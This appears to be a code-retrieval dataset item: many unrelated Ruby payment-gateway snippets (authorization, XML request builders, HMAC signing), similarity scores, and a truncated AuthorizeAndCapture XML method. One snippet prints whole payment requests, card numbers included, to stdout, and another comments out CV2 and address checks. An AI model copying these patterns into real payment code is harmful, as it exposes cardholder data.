authorization_or_credit_card, options)\n else\n request = build_purchase_or_authorization_request_with_credit_card_request(PRE_TYPE, money, authorization_or_credit_card, options)\n end\n\n puts \"PAYMENT REQUEST\"\n puts request\n\n commit(request)\n end", "def build\n headers = {\n 'Authorization' => \"Passcode #{passcode}\",\n }\n headers['Content-Type'] = content_type if content_type\n headers['Sub-Merchant-Id'] = sub_merchant_id if sub_merchant_id\n headers\n end", "def authorize(\n amazon_order_reference_id,\n authorization_reference_id,\n amount,\n currency_code: @currency_code,\n seller_authorization_note: nil,\n transaction_timeout: nil,\n capture_now: nil,\n soft_descriptor: nil,\n provider_credit_details: nil,\n merchant_id: @merchant_id,\n mws_auth_token: nil\n )\n\n parameters = {\n 'Action' => 'Authorize',\n 'SellerId' => merchant_id,\n 'AmazonOrderReferenceId' => amazon_order_reference_id,\n 'AuthorizationReferenceId' => authorization_reference_id,\n 'AuthorizationAmount.Amount' => amount,\n 'AuthorizationAmount.CurrencyCode' => currency_code\n }\n\n optional = {\n 'SellerAuthorizationNote' => seller_authorization_note,\n 'TransactionTimeout' => transaction_timeout,\n 'CaptureNow' => capture_now,\n 'SoftDescriptor' => soft_descriptor,\n 'MWSAuthToken' => mws_auth_token\n }\n\n optional.merge!(set_provider_credit_details(provider_credit_details)) if provider_credit_details\n\n operation(parameters, optional)\n end", "def authorize(money, creditcard, options = {})\n requires!(options, :shop_transaction_id)\n requires_credit_card_name(creditcard)\n transaction_data = TransactionData.new({:money => money, :credit_card => creditcard}.merge(options))\n get_response(\"PAGAMS2S.asp\", transaction_data, options)\n end", "def to_s\n signed = (signed_at || Time.now).to_i.to_s\n\texpires = expires_at.to_i.to_s\n\tsignature = \"#{public_key}#{expires}#{signed}#{action}\"\n\ttoken = OpenSSL::HMAC.hexdigest DIGEST, secret, signature\n\tencoded_token = Base64.encode64(token)\n\tencoded_token.gsub! /\\n/, ''\n\tparams = [ encoded_token, public_key, expires, signed ].join SEPARATOR\n\tBase64.encode64(params).gsub(/\\n/, '')\n end", "def authorize(amount, params = {})\n params = params.reverse_merge(\n :command => :a,\n :msg_type => 'DMS',\n :amount => amount,\n :currency => default_currency\n )\n lookup_currency(params)\n requires!(params, :amount, :currency, :client_ip_addr, :msg_type)\n commit(params)\n end", "def create\n @om_account = OmAccount.new(params[:om_account])\n @om_account.user_id = current_user.id\n @om_account.credentials = {:tag => params[:tag], :password => params[:password]}.to_yaml\n\n respond_to do |format|\n if @om_account.save\n flash[:notice] = 'account was successfully accessed.'\n format.html { redirect_to(om_accounts_url) }\n format.xml { render :xml => @om_account, :status => :created, :location => @om_account }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @om_account.errors, :status => :unprocessable_entity }\n end\n end\n end", "def authorize(money, creditcard, options = {})\n form = {}\n add_salestax(form, options)\n add_invoice(form, options)\n add_creditcard(form, creditcard)\n add_address(form, options)\n add_customer_data(form, options)\n add_test_mode(form, options)\n commit(:authorize, money, form)\n end", "def construct_attribs_payload( orcid, oauth_access, oauth_renew, oauth_scope, user_types )\n h = {}\n\n h['orcid'] = orcid\n h['oauth_access_token'] = oauth_access\n h['oauth_refresh_token'] = oauth_renew\n h['user_types'] = user_types\n h['scope'] = oauth_scope\n\n #puts \"==> #{h.to_json}\"\n return h.to_json\n end", "def create(params)\n put('v1/account', params)\n end", "def compute_signature params\n if $DEBUG\n puts \"keys before sorted: #{params.keys}\"\n end\n\n sorted_keys = params.keys.sort\n\n if $DEBUG\n puts \"keys after sorted: #{sorted_keys}\"\n end\n\n canonicalized_query_string = \"\"\n\n canonicalized_query_string = sorted_keys.map {|key|\n \"%s=%s\" % [safe_encode(key.to_s), safe_encode(params[key])]\n }.join(self.service.separator)\n\n length = canonicalized_query_string.length\n\n string_to_sign = self.service.http_method + self.service.separator + safe_encode('/') + self.service.separator + safe_encode(canonicalized_query_string)\n\n if $DEBUG\n puts \"string_to_sign is #{string_to_sign}\"\n end\n\n signature = calculate_signature access_key_secret+\"&\", string_to_sign\n end", "def add_credit_card(xml, credit_card, address)\n xml.tag! :Card do\n \n # DataCash calls the CC number 'pan'\n xml.tag! :pan, credit_card.number\n xml.tag! :expirydate, format_date(credit_card.month, credit_card.year)\n \n # optional values - for Solo etc\n if [ 'switch', 'solo' ].include?(credit_card.type.to_s)\n \n xml.tag! :issuenumber, credit_card.issue_number unless credit_card.issue_number.blank?\n \n if !credit_card.start_month.blank? && !credit_card.start_year.blank?\n xml.tag! :startdate, format_date(credit_card.start_month, credit_card.start_year)\n end\n end\n \n xml.tag! :Cv2Avs do\n xml.tag! :cv2, credit_card.verification_value if credit_card.verification_value?\n xml.tag! :street_address1, address[:address1] unless address[:address1].blank?\n xml.tag! :street_address2, address[:address2] unless address[:address2].blank?\n xml.tag! :street_address3, address[:address3] unless address[:address3].blank?\n xml.tag! :street_address4, address[:address4] unless address[:address4].blank?\n xml.tag! :postcode, address[:zip] unless address[:zip].blank?\n \n # The ExtendedPolicy defines what to do when the passed data \n # matches, or not...\n # \n # All of the following elements MUST be present for the\n # xml to be valid (or can drop the ExtendedPolicy and use\n # a predefined one\n xml.tag! :ExtendedPolicy do\n xml.tag! :cv2_policy, \n :notprovided => POLICY_REJECT,\n :notchecked => POLICY_REJECT,\n :matched => POLICY_ACCEPT,\n :notmatched => POLICY_REJECT,\n :partialmatch => POLICY_REJECT\n xml.tag! :postcode_policy,\n :notprovided => POLICY_ACCEPT,\n :notchecked => POLICY_ACCEPT,\n :matched => POLICY_ACCEPT,\n :notmatched => POLICY_REJECT,\n :partialmatch => POLICY_ACCEPT\n xml.tag! :address_policy, \n :notprovided => POLICY_ACCEPT,\n :notchecked => POLICY_ACCEPT,\n :matched => POLICY_ACCEPT,\n :notmatched => POLICY_REJECT,\n :partialmatch => POLICY_ACCEPT\n end\n end\n end\n end", "def build_request(body, options)\n requires!(options, :xml_transaction_wrapper)\n xml = Builder::XmlMarkup.new :indent => 2\n xml.instruct!(:xml, :version => '1.0', :encoding => 'utf-8')\n xml.tag! 'soap:Envelope', { 'xmlns:soap' => 'http://schemas.xmlsoap.org/soap/envelope/', \n 'xmlns:xsi' => 'http://www.w3.org/2001/XMLSchema-instance', \n 'xmlns:xsd' => 'http://www.w3.org/2001/XMLSchema'} do\n xml.tag! 'soap:Body' do\n xml.tag! options[:xml_transaction_wrapper], {'xmlns' => \"https://www.thepaymentgateway.net/\"} do\n unless options[:xml_transaction_wrapper] == \"ThreeDSecureAuthentication\"\n xml.tag! 'PaymentMessage' do\n add_merchant_data(xml, options)\n xml << body\n end\n else\n xml << body\n end\n end\n end\n end\n xml.target! \n end", "def full_options(params)\n {\n :timestamp => Time.now.strftime(\"%F %T\"),\n :v => API_VERSION,\n :format => :xml,\n :sign_method => :md5,\n :app_key => config['app_key']\n }.merge params\n end", "def build_status_request(options)\n datetimestamp = create_time_stamp\n message = datetimestamp + @options[:login] + SUB_ID + options[:transaction_id]\n tokenCode = sign_message(@options[:pem], @options[:password], message)\n\n xml = Builder::XmlMarkup.new(:indent => 2)\n xml.instruct!\n xml.tag! 'AcquirerStatusReq', 'xmlns' => 'http://www.idealdesk.com/Message', 'version' => API_VERSION do\n xml.tag! 'createDateTimeStamp', datetimestamp\n xml.tag! 'Merchant' do\n xml.tag! 'merchantID', @options[:login]\n xml.tag! 'subID', SUB_ID\n xml.tag! 'authentication' , AUTHENTICATION_TYPE\n xml.tag! 'token', token\n xml.tag! 'tokenCode', tokenCode\n end\n xml.tag! 'Transaction' do\n xml.tag! 'transactionID', options[:transaction_id]\n end\n end\n xml.target!\n end", "def to_xml\n a = REXML::Element.new(\"parameter\")\n a.add_attribute(\"id\", id)\n a.add_attribute(\"name\", name)\n if (description != nil)\n a.add_element(\"description\").text = description\n end\n if (defaultValue != nil)\n a.add_element(\"default\").text = defaultValue\n end\n return a\n end", "def pay\n #@CallerTokenId = params['CallerTokenId']\n #@RecipientTokenId = params['RecipientTokenId']\n #@SenderTokenId = params['SenderTokenId']\n #@Amount = params['Amount']\n\n call = { 'Action' => 'Pay',\n \t\t# tokens\n \t\t'CallerTokenId' => @CallerTokenId,\n \t\t'SenderTokenId' => @SenderTokenId,\n \t\t'RecipientTokenId' => @RecipientTokenId,\n\t\t\n \t\t# transactions details ### NOTE: Complex types are sent like this. #####\n \t\t'TransactionAmount.Amount' => @Amount, \n \t\t'TransactionAmount.CurrencyCode' => 'USD', \n \t\t'TransactionDate' => Time.now.gmtime.iso8601, # example result: 2007-05-10T13:08:02\n \t\t'ChargeFeeTo' => 'Recipient', #this must match the true/false value from the recipient token\n\t\t\n \t\t# references - unique transaction values\n \t\t'CallerReference' => 'Order-' + Time.now.to_i.to_s, # required unique value for each pay call\n \t\t'SenderReference' => 'Test Sender reference string', # optional unique reference for the sender\n \t\t'RecipientReference' => 'Test Recipient reference string' # optional unique reference for the recipient\n }\n # make the REST call \n\t\t@fps_response = AWS::FPS::Query.do(call)\n\t\trexml_doc = REXML::Document.new(@fps_response)\n\t\telements = rexml_doc.root.elements\n @xml_out = pretty_xml(rexml_doc)\n\t\t@status = elements[\"Status\"].text\n\t\t@request_id = elements[\"RequestId\"].text\n\t\t@success = false\n\t\tif @status == \"Success\"\n\t\t @success = true\n\t\t @TransactionId = elements[\"TransactionResponse\"].elements['TransactionId'].text\n\t\tend\n end", "def build_request\n builder = Nokogiri::XML::Builder.new(:encoding => 'UTF-8') do |xml|\n xml.Request(:version => '1.0') do\n xml.Header { xml.Security(:sender => @options[:sender_id]) }\n xml.Transaction(:mode => test? ? 'CONNECTOR_TEST' : 'LIVE', :response => 'SYNC', :channel => @options[:channel_id]) do\n xml.User(:login => @options[:login], :pwd => @options[:pwd])\n yield xml\n end\n end\n end\n builder.to_xml\n end", "def access_request\n { \n \"ns3:UPSSecurity\" => {\n \"ns3:UsernameToken\"=>{\n \"ns3:Username\"=>@user_name,\n \"ns3:Password\" => @password\n },\n \"ns3:ServiceAccessToken\"=>{\n \"ns3:AccessLicenseNumber\"=> @license\n }\n }\n } \n end", "def authorize(money, payment_source, options = {})\n post = {}\n add_invoice(post, options)\n add_payment_source(post, payment_source, options)\n add_address(post, payment_source, options)\n add_customer_data(post, options)\n add_money(post, money, options)\n commit('RES', post)\n end", "def authorize(money, creditcard, options = {})\n post = {}\n add_invoice(post, options)\n add_creditcard(post, creditcard) \n add_address(post, creditcard, options) \n add_customer_data(post, options)\n add_duplicate_window(post)\n \n commit('AUTH', money, post)\n end", "def build_purchase_or_authorization_request_with_continuous_authority_reference_request(type, money, authorization, options)\n reference, auth_code, ca_reference = authorization.to_s.split(';')\n raise ArgumentError, \"The continuous authority reference is required for continuous authority transactions\" if ca_reference.blank?\n\n xml = Builder::XmlMarkup.new :indent => 2\n xml.instruct!\n xml.tag! :Request do\n add_authentication(xml)\n xml.tag! :Transaction do\n xml.tag! :ContAuthTxn, :type => 'historic'\n xml.tag! :HistoricTxn do\n xml.tag! :reference, ca_reference\n xml.tag! :method, type\n end\n xml.tag! :TxnDetails do\n xml.tag! :merchantreference, format_reference_number(options[:order_id])\n xml.tag! :amount, amount(money), :currency => options[:currency] || currency(money)\n xml.tag! :capturemethod, 'cont_auth'\n end\n end\n end\n xml.target!\n end", "def post(merchantid, body)\n self.class.post(\"/post/api/public/v1/accesstoken?merchantid=#{merchantid}\", :body => body)\n end", "def make_url(params) #:nodoc:\n params[:key] = @key\n params[:output] = 'xml'\n\n super params\n end", "def set_cc_information(account, expire, cvv='')\n @PARAM_HASH['PAYMENT_TYPE'] = 'CREDIT'\n @PARAM_HASH['CC_NUM'] = account\n @PARAM_HASH['CC_EXPIRES'] = expire\n @PARAM_HASH['CVCVV2'] = cvv\n end", "def to_xml(xml=Builder::XmlMarkup.new)\n attributes = {'ID' => id, 'Version' => version, 'IssueInstant' => issue_instant.in_time_zone.xmlschema}\n attributes['InResponseTo'] = in_response_to unless in_response_to.nil?\n attributes['Destination'] = destination unless destination.nil?\n attributes['Consent'] = consent unless consent.nil?\n attributes = add_xmlns(attributes)\n xml.tag!('samlp:Response', attributes) {\n xml << issuer.to_xml unless issuer.nil?\n xml << signature.to_xml unless signature.nil?\n # TODO: add extensions support\n xml << status.to_xml unless status.nil?\n assertions.each { |assertion| xml << assertion.to_xml }\n encrypted_assertions.each { |encrypted_assertion| xml << encrypted_assertion.to_xml }\n }\n end", "def authorize(money, source, options = {})\r\n logger.debug 'SPS ACTION: authorize'\r\n return ActiveMerchant::Billing::Response.new(source.success?, \"Authorize Error\", {:message => \"\"}, {})\r\n end", "def build_request(body, options)\n xsd_version = test? ? TEST_XSD_VERSION : PRODUCTION_XSD_VERSION\n\n xml = Builder::XmlMarkup.new indent: 2\n xml.instruct!\n xml.tag! 's:Envelope', { 'xmlns:s' => 'http://schemas.xmlsoap.org/soap/envelope/' } do\n xml.tag! 's:Header' do\n xml.tag! 'wsse:Security', { 's:mustUnderstand' => '1', 'xmlns:wsse' => 'http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd' } do\n xml.tag! 'wsse:UsernameToken' do\n xml.tag! 'wsse:Username', @options[:login]\n xml.tag! 'wsse:Password', @options[:password], 'Type' => 'http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-username-token-profile-1.0#PasswordText'\n end\n end\n end\n xml.tag! 's:Body', { 'xmlns:xsi' => 'http://www.w3.org/2001/XMLSchema-instance', 'xmlns:xsd' => 'http://www.w3.org/2001/XMLSchema' } do\n xml.tag! 'requestMessage', { 'xmlns' => \"urn:schemas-cybersource-com:transaction-data-#{xsd_version}\" } do\n add_merchant_data(xml, options)\n xml << body\n end\n end\n end\n xml.target!\n end", "def prepare_params(params)\n s_params = {}\n params.each_pair {|k,v| s_params[k.to_s] = v }\n s_params['api_key'] = FacebookApi.api_key\n s_params['v'] = FacebookApi::API_VERSION\n s_params['call_id'] = Time.now.to_f.to_s\n s_params['format'] = 'JSON'\n s_params['sig'] = FacebookApi.calculate_signature(s_params)\n s_params\n end", "def build_transaction_request(money, options)\n date_time_stamp = create_time_stamp\n message = date_time_stamp +\n options[:issuer_id] +\n @options[:login] +\n SUB_ID +\n options[:return_url] +\n options[:order_id] +\n money.to_s +\n (options[:currency] || currency(money)) +\n LANGUAGE +\n options[:description] +\n options[:entrance_code]\n token_code = sign_message(@options[:pem], @options[:password], message)\n\n xml = Builder::XmlMarkup.new(:indent => 2)\n xml.instruct!\n xml.tag! 'AcquirerTrxReq', 'xmlns' => 'http://www.idealdesk.com/Message', 'version' => API_VERSION do\n xml.tag! 'createDateTimeStamp', date_time_stamp\n xml.tag! 'Issuer' do\n xml.tag! 'issuerID', options[:issuer_id]\n end\n xml.tag! 'Merchant' do\n xml.tag! 'merchantID', @options[:login]\n xml.tag! 'subID', SUB_ID\n xml.tag! 'authentication', AUTHENTICATION_TYPE\n xml.tag! 'token', token\n xml.tag! 'tokenCode', token_code\n xml.tag! 'merchantReturnURL', options[:return_url]\n end\n xml.tag! 'Transaction' do\n xml.tag! 'purchaseID', options[:order_id]\n xml.tag! 'amount', money\n xml.tag! 'currency', options[:currency]\n xml.tag! 'expirationPeriod', options[:expiration_period] || default_expiration_period\n xml.tag! 'language', LANGUAGE\n xml.tag! 'description', options[:description]\n xml.tag! 'entranceCode', options[:entrance_code]\n end\n xml.target!\n end\n end", "def encrypt \r\n\t \r\n\t \tif validateParams\r\n\t \t \t\t \t\t \t \t\r\n\t \t\tif @IV.empty?\r\n\t\t\t\t_iv = OpenSSL::Cipher::Cipher.new(\"aes-#{ @cipher }-#{ @mode }\").random_iv\r\n\t\t\telse\r\n\t\t\t\t_iv= @IV\r\n\t\t\tend\t\t\r\n\t\t\t\r\n\t\t\tEncryptor.default_options.merge!(:algorithm => \"aes-#{ @cipher }-#{ @mode }\", :key => @key, :iv => _iv)\t\t\r\n\t\t\t_cyper_text = Encryptor.encrypt(@data)\t\t\t\r\n\t\t\t_rt = Base64.strict_encode64(_cyper_text)\r\n\t\t\t\t\t\t\r\n\t\t\treturn _rt\t\r\n\t\telse\r\n\t\t\traise \"Provide valid details to get transaction token\" \t\t\r\n\t \tend\r\n\t \t\r\n\t end", "def build_authorization(verb, resource_id, date, master_key)\r\n text = \"#{(verb || \"\").downcase}\\ndocs\\n#{(resource_id || \"\")}\\n#{date.downcase}\\n\\n\"\r\n\r\n key = Base64.urlsafe_decode64 master_key\r\n hmac = OpenSSL::HMAC.digest 'sha256', key, text\r\n signature = Base64.encode64(hmac).strip\r\n\r\n return ERB::Util.url_encode \"type=master&ver=1.0&sig=#{signature}\"\r\n end", "def calculate params\n merchant_string = generate_merchant_string params\n hmac = hmac_calculator.calculate merchant_string\n base64_encode hmac\n end", "def to_xml\n doc = REXML::Document.new\n doc << REXML::XMLDecl.default\n doc.add_element(\"envelope\")\n p = doc.root.add_element(\"params\", { \"index\" => \"1\" })\n unless receivers.empty?\n to_elt = p.add_element(\"to\")\n receivers.each do |aid|\n agent_identifier_to_xml(to_elt, aid)\n end\n end\n unless sender.nil?\n from_elt = p.add_element(\"from\")\n agent_identifier_to_xml(from_elt, sender)\n end\n unless comments.nil?\n elt = p.add_element(\"comments\")\n elt.text = comments\n end\n unless acl_representation.nil?\n elt = p.add_element(\"acl-representation\")\n elt.text = acl_representation\n end\n unless payload_length.nil?\n elt = p.add_element(\"payload-length\")\n elt.text = payload_length\n end\n unless payload_encoding.nil?\n elt = p.add_element(\"payload-encoding\")\n elt.text = payload_encoding\n end\n unless date.nil?\n elt = p.add_element(\"date\")\n elt.text = date.iso8601\n end\n unless encrypted.nil?\n elt = p.add_element(\"encrypted\")\n elt.text = encrypted\n end\n unless intended_receivers.empty?\n elt = p.add_element(\"intended-receiver\")\n intended_receivers.each do |r|\n agent_identifier_to_xml(elt, r)\n end\n end\n unless received.nil?\n received_elt = p.add_element(\"received\")\n received_by_elt = received_elt.add_element(\"received-by\")\n url_elt = received_by_elt.add_element(\"url\")\n url_elt.text = received.by\n unless received.from.nil?\n received_from_elt = received_elt.add_element(\"received-from\")\n url_elt = received_from_elt.add_element(\"url\")\n url_elt.text = received.from\n end\n received_elt.add_element(\"received-date\", { \"value\" => received.date })\n unless received.id.nil?\n received_elt.add_element(\"received-id\", { \"value\" => received.id})\n end\n unless received.via.nil?\n received_elt.add_element(\"received-via\", { \"value\" => received.via})\n end\n end\n doc\n end", "def create(params)\n params.merge!(\n :order_no => (Time.now.to_f * 10000).to_i.to_s, # Produce a unique order_no - it's not used anywhere, but ePay needs this\n :amount => 0\n )\n \n post = Api.default_post_for_params(params).merge({\n :subscription => 1,\n :subscriptionname => params[:description]\n })\n \n query = Api.authorize(post)\n \n if query['accept']\n # Return the new subscriber\n subscription = new(query[\"subscriptionid\"].to_i).reload\n \n # Set (obfuscated) card number:\n subscription.card_no = query[\"tcardno\"]\n \n subscription\n else\n new(nil, 'error' => query[\"error\"])\n end\n end", "def build_verify_request(credit_card, options)\n timestamp = new_timestamp\n xml = Builder::XmlMarkup.new indent: 2\n xml.tag! 'request', 'timestamp' => timestamp, 'type' => 'otb' do\n add_merchant_details(xml, options)\n xml.tag! 'orderid', sanitize_order_id(options[:order_id])\n add_card(xml, credit_card)\n add_comments(xml, options)\n add_signed_digest(xml, timestamp, @options[:login], sanitize_order_id(options[:order_id]), credit_card.number)\n end\n xml.target!\n end", "def authorizations(params = {})\n scope 'default'\n post('authorizations/', params)\n end", "def to_xml(xml=Builder::XmlMarkup.new)\n xml.tag!('saml:AuthnContext') {\n xml.tag!('saml:AuthnContextClassRef', class_reference) unless class_reference.nil?\n xml.tag!('saml:AuthnContextDecl', context_declaration) unless context_declaration.nil?\n xml.tag!('saml:AuthnContextDeclRef', context_declaration_ref) unless context_declaration_ref.nil?\n }\n end", "def build_signature_for(url, params)\r\n data = url + params.sort.join\r\n digest = OpenSSL::Digest.new('sha1')\r\n Base64.strict_encode64(OpenSSL::HMAC.digest(digest, ENV['TWILIO_AUTH_TOKEN'], data))\r\n end", "def add_credit_card(xml, credit_card, address)\n\n xml.tag! :Card do\n\n # DataCash calls the CC number 'pan'\n xml.tag! :pan, credit_card.number\n xml.tag! :expirydate, format_date(credit_card.month, credit_card.year)\n\n # optional values - for Solo etc\n if [ 'switch', 'solo' ].include?(card_brand(credit_card).to_s)\n\n xml.tag! :issuenumber, credit_card.issue_number unless credit_card.issue_number.blank?\n\n if !credit_card.start_month.blank? && !credit_card.start_year.blank?\n xml.tag! :startdate, format_date(credit_card.start_month, credit_card.start_year)\n end\n end\n\n xml.tag! :Cv2Avs do\n xml.tag! :cv2, credit_card.verification_value if credit_card.verification_value?\n xml.tag! :cv2_present, '1' if credit_card.verification_value?\n\n if address\n xml.tag! :street_address1, address[:address1] unless address[:address1].blank?\n xml.tag! :street_address2, address[:address2] unless address[:address2].blank?\n xml.tag! :street_address3, address[:city] unless address[:city].blank?\n xml.tag! :street_address4, address[:state] unless address[:state].blank?\n xml.tag! :postcode, address[:zip] unless address[:zip].blank?\n xml.tag! :country, address[:country] unless address[:country].blank?\n end\n\n # The ExtendedPolicy defines what to do when the passed data\n # matches, or not...\n #\n # All of the following elements MUST be present for the\n # xml to be valid (or can drop the ExtendedPolicy and use\n # a predefined one\n # xml.tag! :ExtendedPolicy do\n # xml.tag! :cv2_policy,\n # :notprovided => POLICY_REJECT, # REJ\n # :notchecked => POLICY_REJECT, # REJ\n # :matched => POLICY_ACCEPT,\n # :notmatched => POLICY_REJECT, # REJ\n # :partialmatch => POLICY_REJECT\n # xml.tag! :postcode_policy,\n # :notprovided => POLICY_ACCEPT,\n # :notchecked => POLICY_ACCEPT,\n # :matched => POLICY_ACCEPT,\n # :notmatched => POLICY_REJECT, # REJ\n # :partialmatch => POLICY_ACCEPT\n # xml.tag! :address_policy,\n # :notprovided => POLICY_ACCEPT,\n # :notchecked => POLICY_ACCEPT,\n # :matched => POLICY_ACCEPT,\n # :notmatched => POLICY_REJECT, # REJ\n # :partialmatch => POLICY_ACCEPT\n # end\n end\n end\n end", "def to_xml\n header = build_header\n body = build_body\n envelope = build_envelope\n envelope << header\n envelope << body\n doc = Ox::Document.new(version: '1.0')\n doc << envelope\n Ox.dump(doc)\n end", "def do_post_pre_auth_http(txn,merchant_id, merchant_key)\n # after a pre_auth you have to post the payment.\n sage_host = \"www.sagepayments.net\"\n sage_webservice_access_point = \"/cgi-bin/eftBankcard.dll?retail_transaction\"\n\n payload = {\n\n :M_id => merchant_id,\n :M_key => merchant_key,\n :T_amt => txn[:amount].to_i / 100.0 + txn[:tax].to_i / 100.0,\n :T_tax => txn[:tax].to_i / 100.0,\n :T_shipping => \"\",\n #:T_auth => txn[:auth_code],\n :T_reference => txn[:reference],\n :T_uti => txn[:ton],\n :T_device_id => @t_device_id,\n :T_application_id => @t_application_id,\n :T_code => '11'\n }\n resp = \"\"\n resp = do_webservice(sage_host, sage_webservice_access_point, payload)\n txn = create_credit_response_hash(resp)\n txn[:state] = case txn[:approval_indicator]\n when 'A' then :approved\n else :declined # TODO: Need some error checking here.\n end\n\n return txn\n end", "def authorize_token(attribs={})\n params = parse_request_params(attribs)\n parsed, creds = request(:post, resource_path+'/authorize', params)\n self.class.factory(parsed, creds)\n end", "def create\n params_hash = {\n 'x_login' => @x_login,\n 'x_trans_key' => @x_trans_key,\n 'x_invoice' => invoice,\n 'x_amount' => amount,\n 'x_iduser' => iduser,\n 'x_bank' => bank,\n 'x_country' => country,\n 'x_sub_code' => sub_code,\n 'type' => response_type\n }\n\n message_to_control = \"#{invoice}D#{amount}P#{iduser}A\"\n\n sha256 = OpenSSL::Digest::SHA256.new\n control = OpenSSL::HMAC.hexdigest(sha256, [@secret_key].pack('A*'), [message_to_control].pack('A*'))\n control = control.upcase\n\n params_hash['control'] = control\n params_hash['x_currency'] = currency if currency\n params_hash['x_description'] = description if description\n params_hash['x_cpf'] = cpf if cpf\n params_hash['x_return'] = return_url if return_url\n params_hash['x_confirmation'] = confirmation_url if confirmation_url\n\n astro_curl(@astro_urls['create'], params_hash)\n end", "def acquire_customs!(params)\n body = {\n service: \"alipay.acquire.customs\",\n partner: partner,\n customs_place: customs_place,\n merchant_customs_code: merchant_customs_code,\n merchant_customs_name: merchant_customs_name\n }.merge(common_params, params)\n\n resp = invoke_remote(@base_uri, body.merge({ sign: AlipayCustoms::Sign.generate(body, key) }))\n raise AlipayCustoms::Error.new(resp[\"alipay\"][\"error\"]) if resp[\"alipay\"][\"is_success\"] == \"F\"\n resp\n end", "def oauth_callback(params)\n update! psp_credentials: payment_provider.get_access_token(params)\n end", "def generate_token(params)\n g_t_params = params[:customer_id].present? ? {customer_id: params[:customer_id]} : {}\n gateway_token = @gateway.client_token.generate(g_t_params)\n success_with_data({gateway_token: gateway_token})\n end", "def create\n @az_balance_transaction = AzBalanceTransaction.new(params[:az_balance_transaction])\n\n respond_to do |format|\n if @az_balance_transaction.save\n format.html { redirect_to(@az_balance_transaction, :notice => 'AzBalanceTransaction was successfully created.') }\n format.xml { render :xml => @az_balance_transaction, :status => :created, :location => @az_balance_transaction }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @az_balance_transaction.errors, :status => :unprocessable_entity }\n end\n end\n end", "def prepare_authorize_params(source, gateway_options)\n order_number, payment_number = gateway_options[:order_id].split('-')\n order = Spree::Order.friendly.find order_number\n payment = Spree::Payment.friendly.find payment_number\n portion_value = Spree::KomerciConfig.calculate_portion_value order, gateway_options[:portions]\n total_value = sprintf('%0.2f', portion_value * gateway_options[:portions])\n\n year = source.year.to_s.last(2)\n month = source.month.to_s.rjust(2, '0')\n\n params = {\n total: total_value,\n filiacao: Spree::KomerciConfig[:afiliation_key],\n numpedido: \"#{order_number}-#{payment.id}\",\n nrcartao: source.number,\n cvc2: source.verification_value,\n mes: month,\n ano: year,\n portador: source.name,\n conftxn: 'S'\n }\n\n [:iata, :distribuidor, :concentrador, :taxaembarque, :entrada, :adddata, :add_data,\n :numdoc1, :numdoc2, :numdoc3, :numdoc4, :pax1, :pax2, :pax3, :pax4].each { |p| params[p] = nil }\n\n params\n end" ]
[ "0.6701778", "0.6378834", "0.60759187", "0.6062218", "0.5966001", "0.5960821", "0.5937644", "0.5823911", "0.5806916", "0.57954216", "0.56997454", "0.5668651", "0.5633432", "0.5585941", "0.5545079", "0.55350673", "0.54864264", "0.5473251", "0.5371862", "0.5360706", "0.53563935", "0.53563786", "0.5354497", "0.53511685", "0.5347583", "0.53429383", "0.53406304", "0.53348297", "0.53323674", "0.5331113", "0.5324342", "0.5284814", "0.52846795", "0.52828217", "0.5271841", "0.52708656", "0.52692914", "0.52690566", "0.5256771", "0.5242468", "0.52233046", "0.52215683", "0.5193979", "0.5193979", "0.51927614", "0.5192363", "0.51914096", "0.5185594", "0.5185594", "0.51785207", "0.51718634", "0.5151236", "0.5132984", "0.51322466", "0.5120972", "0.5112083", "0.5111871", "0.5109355", "0.51054484", "0.5096798", "0.50932485", "0.50908846", "0.5085829", "0.5085074", "0.508156", "0.5071467", "0.5070679", "0.50518084", "0.5045023", "0.5043371", "0.5041436", "0.50414026", "0.50318617", "0.50301564", "0.5022474", "0.50188786", "0.5011657", "0.5008816", "0.5008748", "0.5005097", "0.5004792", "0.49998063", "0.49920696", "0.49843684", "0.4981186", "0.49807838", "0.49722317", "0.49701834", "0.49666557", "0.4966532", "0.4965284", "0.49638847", "0.49633676", "0.49605486", "0.49590698", "0.4958374", "0.49571392", "0.49370503", "0.4929579", "0.4923348" ]
0.6829767
0
Create AuthorizeCapture xml as per the api format . "params" is collection keyvalues, in this "params" holds CardData, AVSData, Amount, P2PETransactionData,PaymentAccountDataToken. It returns xml format in string.
def authorizeAndCaptureXML(params) begin Nokogiri::XML::Builder.new do |xml| xml.AuthorizeAndCaptureTransaction('xmlns:i' => 'http://www.w3.org/2001/XMLSchema-instance', 'xmlns' => 'http://schemas.ipcommerce.com/CWS/v2.0/Transactions/Rest', 'i:type' =>"AuthorizeAndCaptureTransaction" ) { xml.ApplicationProfileId application_profile_id xml.MerchantProfileId merchant_profile_id xml.Transaction('xmlns:ns1' => "http://schemas.ipcommerce.com/CWS/v2.0/Transactions/Bankcard", 'i:type' => "ns1:BankcardTransaction" ){ xml['ns1'].TenderData{ if params[:SwipeStatus].present? && params[:IdentificationInformation].present? && params[:SecurePaymentAccountData].present? && params[:EncryptionKeyId].present? #p "Swipe card..maga..." xml['ns5'].SecurePaymentAccountData('xmlns:ns5' => "http://schemas.ipcommerce.com/CWS/v2.0/Transactions").text(params[:SecurePaymentAccountData]) xml['ns6'].EncryptionKeyId('xmlns:ns6' =>"http://schemas.ipcommerce.com/CWS/v2.0/Transactions").text(params[:EncryptionKeyId]) xml['ns7'].SwipeStatus('xmlns:ns7' =>"http://schemas.ipcommerce.com/CWS/v2.0/Transactions").text(params[:SwipeStatus]) xml['ns1'].CardSecurityData{ xml['ns1'].IdentificationInformation params[:IdentificationInformation] } xml['ns1'].CardData('i:nil' =>"true") elsif params[:SecurePaymentAccountData].present? && params[:EncryptionKeyId].present? #p "Swipe card..Dukp..." xml['ns5'].SecurePaymentAccountData('xmlns:ns5' => "http://schemas.ipcommerce.com/CWS/v2.0/Transactions").text(params[:SecurePaymentAccountData]) xml['ns6'].EncryptionKeyId('xmlns:ns6' =>"http://schemas.ipcommerce.com/CWS/v2.0/Transactions").text(params[:EncryptionKeyId]) xml['ns7'].SwipeStatus('xmlns:ns7' =>"http://schemas.ipcommerce.com/CWS/v2.0/Transactions",'i:nil' =>"true") xml['ns1'].CardSecurityData{ xml['ns1'].IdentificationInformation('i:nil' =>"true") } xml['ns1'].CardData('i:nil' =>"true") xml['ns1'].EcommerceSecurityData('i:nil' =>"true") elsif params[:PaymentAccountDataToken].present? #p "PaymentAccountDataToken..........." 